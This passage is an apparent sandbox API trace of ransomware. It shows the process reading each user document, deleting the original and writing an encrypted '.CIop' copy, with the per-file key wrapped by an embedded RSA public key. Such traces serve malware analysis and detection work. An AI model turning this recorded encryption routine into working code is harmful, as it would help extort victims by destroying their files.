[0091.611] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\XJ2OD9lQq0BG.docx.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\-3ostnyb\\7hk2lc8byx_mxaozre\\xj2od9lqq0bg.docx.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0091.612] WriteFile (in: hFile=0x424, lpBuffer=0x6285d8*, nNumberOfBytesToWrite=0x485c, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x6285d8*, lpNumberOfBytesWritten=0x2f0e5d8*=0x485c, lpOverlapped=0x0) returned 1 [0091.613] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x485c [0091.613] WriteFile (in: hFile=0x424, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2f0e5d8*=0x7, lpOverlapped=0x0) returned 1 [0091.613] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4863 [0091.613] SetErrorMode (uMode=0x1) returned 0x1 [0091.613] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0091.613] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0091.613] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2f0d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598 | out: pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598) returned 1 [0091.613] CryptAcquireContextW (in: phProv=0x2f0d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2f0d5a8*=0x613de0) returned 1 [0091.613] CryptImportPublicKeyInfoEx (in: hCryptProv=0x613de0, dwCertEncodingType=0x1, pInfo=0x682790, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2f0d5b0 | out: phKey=0x2f0d5b0*=0x5c3550) returned 1 [0091.613] CryptEncrypt (in: hKey=0x5c3550, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x80) returned 1 [0091.613] CryptEncrypt (in: hKey=0x5c3550, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x614088*, pdwDataLen=0x2f0d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x614088*, pdwDataLen=0x2f0d5a4*=0x80) returned 1 [0091.613] WriteFile (in: hFile=0x424, lpBuffer=0x614088*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x614088*, lpNumberOfBytesWritten=0x2f0e5d8*=0x80, lpOverlapped=0x0) returned 1 [0091.613] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.614] VirtualFree (lpAddress=0x2f10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.614] VirtualFree (lpAddress=0x2f20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.614] CloseHandle (hObject=0x424) returned 1 [0091.615] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\XJ2OD9lQq0BG.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\-3ostnyb\\7hk2lc8byx_mxaozre\\xj2od9lqq0bg.docx")) returned 0 Thread: id = 75 os_tid = 0xc4c [0091.616] lstrcpyA (in: lpString1=0x304e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0091.617] lstrcpyW (in: lpString1=0x304f368, lpString2="LJ2-ZSo63V_7d.xlsx" | out: lpString1="LJ2-ZSo63V_7d.xlsx") returned="LJ2-ZSo63V_7d.xlsx" [0091.617] lstrcpyW (in: lpString1=0x304f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\" [0091.617] SetErrorMode (uMode=0x1) returned 0x1 [0091.617] wsprintfW (in: param_1=0x304eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\LJ2-ZSo63V_7d.xlsx") returned 96 [0091.617] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\LJ2-ZSo63V_7d.xlsx", dwFileAttributes=0x20) returned 1 [0091.617] StrStrW (lpFirst="LJ2-ZSo63V_7d.xlsx", lpSrch=".CIop") returned 0x0 [0091.617] wsprintfW (in: param_1=0x304e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\LJ2-ZSo63V_7d.xlsx.CIop") returned 101 [0091.617] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\LJ2-ZSo63V_7d.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\1gqxj7phl\\lj2-zso63v_7d.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x44c [0091.619] ReadFile (in: hFile=0x44c, lpBuffer=0x636ce0, nNumberOfBytesToRead=0x12eb6, lpNumberOfBytesRead=0x304e5e8, lpOverlapped=0x0 | out: lpBuffer=0x636ce0*, lpNumberOfBytesRead=0x304e5e8*=0x12eb6, lpOverlapped=0x0) returned 1 [0091.619] CloseHandle (hObject=0x44c) returned 1 [0091.619] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\LJ2-ZSo63V_7d.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\1gqxj7phl\\lj2-zso63v_7d.xlsx")) returned 1 [0091.621] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2dd0000 [0091.621] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2de0000 [0091.621] SetErrorMode (uMode=0x1) returned 0x1 [0091.621] CryptAcquireContextW (in: phProv=0x304e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x304e5b8*=0x614110) returned 1 [0091.623] CryptGenKey (in: hProv=0x614110, Algid=0x1, dwFlags=0x4000, phKey=0x304e5bc | out: phKey=0x304e5bc*=0x5c37d0) returned 1 [0091.712] CryptExportKey (in: hKey=0x5c37d0, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x304e5ec | out: pbData=0x0*, pdwDataLen=0x304e5ec*=0x94) returned 1 [0091.712] CryptExportKey (in: hKey=0x5c37d0, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2de0000, pdwDataLen=0x304e5ec | out: pbData=0x2de0000*, pdwDataLen=0x304e5ec*=0x94) returned 1 [0091.712] CryptDestroyKey (hKey=0x5c37d0) returned 1 [0091.712] CryptReleaseContext (hProv=0x614110, dwFlags=0x0) returned 1 [0091.712] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\LJ2-ZSo63V_7d.xlsx.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\1gqxj7phl\\lj2-zso63v_7d.xlsx.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x44c [0091.713] WriteFile (in: hFile=0x44c, lpBuffer=0x636ce0*, nNumberOfBytesToWrite=0x12eb6, lpNumberOfBytesWritten=0x304e5d8, lpOverlapped=0x0 | out: lpBuffer=0x636ce0*, lpNumberOfBytesWritten=0x304e5d8*=0x12eb6, lpOverlapped=0x0) returned 1 [0091.714] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x12eb6 [0091.714] WriteFile (in: hFile=0x44c, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x304e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x304e5d8*=0x7, lpOverlapped=0x0) returned 1 [0091.714] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x12ebd [0091.714] SetErrorMode (uMode=0x1) returned 0x1 [0091.715] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0091.715] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x304d5b8, pcbBinary=0x304d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x304d5b8, pcbBinary=0x304d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0091.715] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x304d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x304d5a0, pcbStructInfo=0x304d598 | out: pvStructInfo=0x304d5a0, pcbStructInfo=0x304d598) returned 1 [0091.715] CryptAcquireContextW (in: phProv=0x304d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x304d5a8*=0x614110) returned 1 [0091.715] CryptImportPublicKeyInfoEx (in: hCryptProv=0x614110, dwCertEncodingType=0x1, pInfo=0x681ea0, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x304d5b0 | out: phKey=0x304d5b0*=0x5c3990) returned 1 [0091.715] CryptEncrypt (in: hKey=0x5c3990, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x304d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x304d5b4*=0x80) returned 1 [0091.715] CryptEncrypt (in: hKey=0x5c3990, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x62de60*, pdwDataLen=0x304d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x62de60*, pdwDataLen=0x304d5a4*=0x80) returned 1 [0091.715] WriteFile (in: hFile=0x44c, lpBuffer=0x62de60*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x304e5d8, lpOverlapped=0x0 | out: lpBuffer=0x62de60*, lpNumberOfBytesWritten=0x304e5d8*=0x80, lpOverlapped=0x0) returned 1 [0091.715] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.717] VirtualFree (lpAddress=0x2dd0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.717] VirtualFree (lpAddress=0x2de0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.717] CloseHandle (hObject=0x44c) returned 1 [0091.719] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\LJ2-ZSo63V_7d.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\1gqxj7phl\\lj2-zso63v_7d.xlsx")) returned 0 Thread: id = 76 os_tid = 0xb6c [0091.748] lstrcpyA (in: lpString1=0x2f0e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0091.748] lstrcpyW (in: lpString1=0x2f0f368, lpString2="pdKaXJhzd7zYz7o.doc" | out: lpString1="pdKaXJhzd7zYz7o.doc") returned="pdKaXJhzd7zYz7o.doc" [0091.748] lstrcpyW (in: lpString1=0x2f0f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\" [0091.748] SetErrorMode (uMode=0x1) returned 0x1 [0091.748] wsprintfW (in: param_1=0x2f0eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\pdKaXJhzd7zYz7o.doc") returned 97 [0091.748] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\pdKaXJhzd7zYz7o.doc", dwFileAttributes=0x20) returned 1 [0091.749] StrStrW (lpFirst="pdKaXJhzd7zYz7o.doc", lpSrch=".CIop") returned 0x0 [0091.749] wsprintfW (in: param_1=0x2f0e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\pdKaXJhzd7zYz7o.doc.CIop") returned 102 [0091.749] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\pdKaXJhzd7zYz7o.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\1gqxj7phl\\pdkaxjhzd7zyz7o.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x440 [0091.749] ReadFile (in: hFile=0x440, lpBuffer=0x6285d8, nNumberOfBytesToRead=0x3b31, lpNumberOfBytesRead=0x2f0e5e8, lpOverlapped=0x0 | out: lpBuffer=0x6285d8*, lpNumberOfBytesRead=0x2f0e5e8*=0x3b31, lpOverlapped=0x0) returned 1 [0091.750] CloseHandle (hObject=0x440) returned 1 [0091.750] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\pdKaXJhzd7zYz7o.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\1gqxj7phl\\pdkaxjhzd7zyz7o.doc")) returned 1 [0091.751] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2f10000 [0091.751] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2f20000 [0091.752] SetErrorMode (uMode=0x1) returned 0x1 [0091.752] CryptAcquireContextW (in: phProv=0x2f0e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2f0e5b8*=0x62d668) returned 1 [0091.754] CryptGenKey (in: hProv=0x62d668, Algid=0x1, dwFlags=0x4000, phKey=0x2f0e5bc | out: phKey=0x2f0e5bc*=0x5c3590) returned 1 [0091.780] CryptExportKey (in: hKey=0x5c3590, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2f0e5ec | out: pbData=0x0*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0091.780] CryptExportKey (in: hKey=0x5c3590, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2f20000, pdwDataLen=0x2f0e5ec | out: pbData=0x2f20000*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0091.780] CryptDestroyKey (hKey=0x5c3590) returned 1 [0091.780] CryptReleaseContext (hProv=0x62d668, dwFlags=0x0) returned 1 [0091.780] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\pdKaXJhzd7zYz7o.doc.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\1gqxj7phl\\pdkaxjhzd7zyz7o.doc.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x440 [0091.780] WriteFile (in: hFile=0x440, lpBuffer=0x6285d8*, nNumberOfBytesToWrite=0x3b31, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x6285d8*, lpNumberOfBytesWritten=0x2f0e5d8*=0x3b31, lpOverlapped=0x0) returned 1 [0091.781] SetFilePointer (in: hFile=0x440, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3b31 [0091.781] WriteFile (in: hFile=0x440, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2f0e5d8*=0x7, lpOverlapped=0x0) returned 1 [0091.781] SetFilePointer (in: hFile=0x440, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3b38 [0091.781] SetErrorMode (uMode=0x1) returned 0x1 [0091.781] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0091.781] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0091.781] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2f0d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598 | out: pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598) returned 1 [0091.781] CryptAcquireContextW (in: phProv=0x2f0d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2f0d5a8*=0x62d998) returned 1 [0091.782] CryptImportPublicKeyInfoEx (in: hCryptProv=0x62d998, dwCertEncodingType=0x1, pInfo=0x681dd0, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2f0d5b0 | out: phKey=0x2f0d5b0*=0x5c3590) returned 1 [0091.782] CryptEncrypt (in: hKey=0x5c3590, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x80) returned 1 [0091.782] CryptEncrypt (in: hKey=0x5c3590, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x62d338*, pdwDataLen=0x2f0d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x62d338*, pdwDataLen=0x2f0d5a4*=0x80) returned 1 [0091.782] WriteFile (in: hFile=0x440, lpBuffer=0x62d338*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x62d338*, lpNumberOfBytesWritten=0x2f0e5d8*=0x80, lpOverlapped=0x0) returned 1 [0091.782] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.782] VirtualFree (lpAddress=0x2f10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.782] VirtualFree (lpAddress=0x2f20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.782] CloseHandle (hObject=0x440) returned 1 [0091.783] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\pdKaXJhzd7zYz7o.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\1gqxj7phl\\pdkaxjhzd7zyz7o.doc")) returned 0 Thread: id = 77 os_tid = 0x5b8 [0091.810] lstrcpyA (in: lpString1=0x2f0e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho 